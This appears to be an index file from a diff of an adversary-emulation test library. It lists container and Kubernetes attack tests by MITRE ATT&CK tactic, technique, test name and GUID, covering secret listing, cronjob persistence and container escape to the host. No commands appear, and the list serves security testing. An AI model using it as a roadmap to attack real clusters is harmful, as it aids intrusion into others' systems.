discovery,T1613,Container and Resource Discovery,1,Docker Container and Resource Discovery,ea2255df-d781-493b-9693-ac328f9afc3f,sh
discovery,T1613,Container and Resource Discovery,2,Podman Container and Resource Discovery,fc631702-3f03-4f2b-8d8a-6b3d055580a1,sh
discovery,T1046,Network Service Discovery,9,Network Service Discovery for Containers,06eaafdb-8982-426e-8a31-d572da633caa,sh
credential-access,T1552.007,Kubernetes List Secrets,1,List All Secrets,31e794c4-48fd-4a76-aca4-6587c155bc11,bash
credential-access,T1552.007,Kubernetes List Secrets,2,ListSecrets,43c3a49d-d15c-45e6-b303-f6e177e44a9a,bash
persistence,T1053.007,Kubernetes Cronjob,1,ListCronjobs,ddfb0bc1-3c3f-47e9-a298-550ecfefacbd,bash
persistence,T1053.007,Kubernetes Cronjob,2,CreateCronjob,f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3,bash
persistence,T1136.001,Create Account: Local Account,10,Create a Linux user via kubectl in a Pod,d9efa6c7-6518-42b2-809a-4f2a8e242b9b,bash
privilege-escalation,T1053.007,Kubernetes Cronjob,1,ListCronjobs,ddfb0bc1-3c3f-47e9-a298-550ecfefacbd,bash
privilege-escalation,T1053.007,Kubernetes Cronjob,2,CreateCronjob,f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3,bash
privilege-escalation,T1611,Escape to Host,1,Deploy container using nsenter container escape,0b2f9520-a17a-4671-9dba-3bd034099fff,sh
privilege-escalation,T1611,Escape to Host,2,Mount host filesystem to escape privileged Docker container,6c499943-b098-4bc6-8d38-0956fc182984,sh
privilege-escalation,T1611,Escape to Host,3,Privilege Escalation via Docker Volume Mapping,39fab1bc-fcb9-406f-bc2e-fe03e42ff0e4,sh
execution,T1053.007,Kubernetes Cronjob,1,ListCronjobs,ddfb0bc1-3c3f-47e9-a298-550ecfefacbd,bash
execution,T1053.007,Kubernetes Cronjob,2,CreateCronjob,f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3,bash
execution,T1610,Deploy a container,1,Deploy Docker container,59aa6f26-7620-417e-9318-589e0fb7a372,bash
execution,T1609,Kubernetes Exec Into Container,1,ExecIntoContainer,d03bfcd3-ed87-49c8-8880-44bb772dea4b,bash
execution,T1609,Kubernetes Exec Into Container,2,Docker Exec Into Container,900e2c49-221b-42ec-ae3c-4717e41e6219,bash
defense-evasion,T1610,Deploy a container,1,Deploy Docker container,59aa6f26-7620-417e-9318-589e0fb7a372,bash
defense-evasion,T1612,Build Image on Host,1,Build Image On Host,2db30061-589d-409b-b125-7b473944f9b3,sh
1 Tactic Technique # Technique Name Test # Test Name Test GUID Executor Name
2 discovery T1613 Container and Resource Discovery 1 Docker Container and Resource Discovery ea2255df-d781-493b-9693-ac328f9afc3f sh
3 discovery T1613 Container and Resource Discovery 2 Podman Container and Resource Discovery fc631702-3f03-4f2b-8d8a-6b3d055580a1 sh
4 discovery T1046 Network Service Discovery 9 Network Service Discovery for Containers 06eaafdb-8982-426e-8a31-d572da633caa sh
5 credential-access T1552.007 Kubernetes List Secrets 1 List All Secrets 31e794c4-48fd-4a76-aca4-6587c155bc11 bash
6 credential-access T1552.007 Kubernetes List Secrets 2 ListSecrets 43c3a49d-d15c-45e6-b303-f6e177e44a9a bash
7 persistence T1053.007 Kubernetes Cronjob 1 ListCronjobs ddfb0bc1-3c3f-47e9-a298-550ecfefacbd bash
8 persistence T1053.007 Kubernetes Cronjob 2 CreateCronjob f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3 bash
9 persistence T1136.001 Create Account: Local Account 10 Create a Linux user via kubectl in a Pod d9efa6c7-6518-42b2-809a-4f2a8e242b9b bash
10 privilege-escalation T1053.007 Kubernetes Cronjob 1 ListCronjobs ddfb0bc1-3c3f-47e9-a298-550ecfefacbd bash
11 privilege-escalation T1053.007 Kubernetes Cronjob 2 CreateCronjob f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3 bash
12 privilege-escalation T1611 Escape to Host 1 Deploy container using nsenter container escape 0b2f9520-a17a-4671-9dba-3bd034099fff sh
13 privilege-escalation T1611 Escape to Host 2 Mount host filesystem to escape privileged Docker container 6c499943-b098-4bc6-8d38-0956fc182984 sh
14 privilege-escalation T1611 Escape to Host 3 Privilege Escalation via Docker Volume Mapping 39fab1bc-fcb9-406f-bc2e-fe03e42ff0e4 sh
15 execution T1053.007 Kubernetes Cronjob 1 ListCronjobs ddfb0bc1-3c3f-47e9-a298-550ecfefacbd bash
16 execution T1053.007 Kubernetes Cronjob 2 CreateCronjob f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3 bash
17 execution T1610 Deploy a container 1 Deploy Docker container 59aa6f26-7620-417e-9318-589e0fb7a372 bash
18 execution T1609 Kubernetes Exec Into Container 1 ExecIntoContainer d03bfcd3-ed87-49c8-8880-44bb772dea4b bash
19 execution T1609 Kubernetes Exec Into Container 2 Docker Exec Into Container 900e2c49-221b-42ec-ae3c-4717e41e6219 bash
20 defense-evasion T1610 Deploy a container 1 Deploy Docker container 59aa6f26-7620-417e-9318-589e0fb7a372 bash
21 defense-evasion T1612 Build Image on Host 1 Build Image On Host 2db30061-589d-409b-b125-7b473944f9b3 sh

Some files were not shown because too many files have changed in this diff Show More